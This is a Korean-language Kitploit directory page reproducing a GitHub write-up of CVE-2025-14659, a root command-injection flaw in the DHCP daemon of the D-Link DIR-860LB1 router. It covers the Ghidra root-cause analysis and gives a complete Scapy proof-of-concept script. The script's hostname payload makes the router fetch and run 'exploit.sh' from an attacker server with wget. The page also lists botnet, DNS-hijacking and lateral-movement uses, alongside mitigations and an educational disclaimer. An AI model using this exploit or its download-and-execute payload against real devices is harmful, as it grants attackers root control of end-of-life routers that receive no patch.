Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Vulnerability-DLink-CVE-2025-14659 — 정적 분석(Ghidra)과 사용자 정의 패킷 생성(Scapy)을 통해 D-Link 펌웨어의 루트 권한 DHCP 명령 주입 취약점(CVE-2025-14659)을 입증 | Kitploit
도구/GitHubGitHub/peterlinccl/vulnerability-dlink-cve-2025-14659
Embedded Systems SecurityStatic AnalysisIoT SecurityVulnerability AnalysisExploitationReverse EngineeringPapers & ResearchPayload DevelopmentFirmware Analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

정적 분석(Ghidra)과 사용자 정의 패킷 생성(Scapy)을 통해 D-Link 펌웨어의 루트 권한 DHCP 명령 주입 취약점(CVE-2025-14659)을 입증

저장소 보기
14시간 27분 전아직 검토되지 않음

CVE-2025-14659: D-Link DHCP 데몬 명령어 주입 분석

Recreate CVE 프로젝트 | 오펜시브 보안

작성자: Peter Lin
날짜: 2026년 5월
프로젝트 개요: CVE-2025-14659는 펌웨어 v203b03을 실행하는 D-Link DIR-860LB1 무선 라우터의 DHCP 데몬 구성 요소를 대상으로 하는 명령어 주입 취약점을 보고했습니다. 이 명령어 주입은 공격자가 악의적인 호스트 이름으로 기존 임대를 갱신하는 DHCP 클라이언트를 통해 대상 라우터에서 root 권한으로 임의 명령을 실행할 수 있게 할 수 있습니다. 저는 DIR-860LB1 장치의 펌웨어를 추출하고 Ghidra를 사용한 정적 분석을 통해 DHCP 데몬(udhcpd)에 존재하는 결함을 식별할 것입니다. 그런 다음 FirmAE와 같은 에뮬레이션 엔진을 활용하여 이 라우터의 환경을 에뮬레이션하고, 이 대상에 대한 개념 증명 공격을 시연할 것입니다.


🔍 취약점 개요

  • CVE ID: CVE-2025-14659
  • CVSS 점수: 8.7 (높음)
  • 취약점 유형: CWE-77 (명령어 주입)
  • 대상 바이너리: udhcpd (DHCP 데몬)
  • 영향: 로컬 네트워크를 통한 인증되지 않은 root 접근.

🔬 근본 원인 (Ghidra 정적 분석)

Ghidra에서 udhcpd_main 함수를 살펴보면, 취약점은 case 3(DHCPREQUEST) 블록 바로 안에 존재합니다:

  1. 추출: 데몬은 get_option(auStack_254, 0xc)를 사용하여 클라이언트 패킷에서 DHCP 옵션 12 (호스트 이름) 를 가져옵니다.
  2. 연결: 호스트 이름이 존재하면 sprintf()를 통해 문자열 버퍼에 직접 삽입됩니다:
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. 실행: 그런 다음 애플리케이션은 셸 문자를 정제하지 않고 해당 원시 버퍼를 system() 호출에 직접 전달합니다:
    root@kitploit:~
    system(acStack_454);
    

데몬이 root로 실행되기 때문에, 호스트 이름에 셸 메타문자(예: ; 또는 |)를 추가하면 공격자가 임의의 시스템 명령을 실행할 수 있습니다.


🛠️ 개념 증명 스크립트 (cve_poc.py)

이 동작하는 Scapy 스크립트는 주입된 호스트 이름 페이로드로 임대 갱신을 요청하는 악의적인 클라이언트를 시뮬레이션합니다:

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ 실제 위협 영향

실제 환경에서 악용될 경우, 공격자는 이 취약점을 다음과 같은 용도로 사용할 수 있습니다:

  • 봇넷 배포: 악성 바이너리를 라우터의 휘발성 메모리(/tmp)에 직접 설치하여 하드웨어를 DDoS 네트워크에 가담시킵니다.
  • DNS 하이재킹: 내부 DNS 설정을 덮어써 로컬 사용자를 악성 피싱 사이트로 조용히 유도합니다.
  • 측면 이동: 침해된 엣지 라우터를 내부 피벗 지점으로 사용하여 로컬 네트워크 내의 다른 머신을 스캔하고 공격합니다.
  • 지속적 제어: 백도어를 설치하거나 구성 파일을 조작하여 로컬 환경 전반에 걸쳐 비인가 관리자 접근을 유지합니다.

🛑 방어 완화책

  • 하드웨어 수명 주기 경고: D-Link는 DIR-860LB1 어플라이언스를 수명 종료(EoL) 상태로 분류했습니다. 공식 벤더 패치는 이 문제를 해결할 것으로 예상되지 않습니다.
  • 보상 보안 통제:
    • DHCP 엔드포인트의 인증되지 않은 가시성을 제한하기 위해 엄격한 클라이언트 격리 기능을 갖춘 격리된 VLAN 경계를 구성합니다.
    • EoL 레거시 라우팅 어플라이언스를 체계적으로 퇴역시키고 적극적으로 지원되는 하드웨어 구성으로 업그레이드합니다.

📚 참고 자료

  • NIST National Vulnerability Database
  • CVEDetails Vulnerability Profile

면책 조항: 이 프로젝트는 교육 목적, 포트폴리오 구축, 방어 보안 연구를 위해 엄격히 제작되었습니다.

도구 다운로드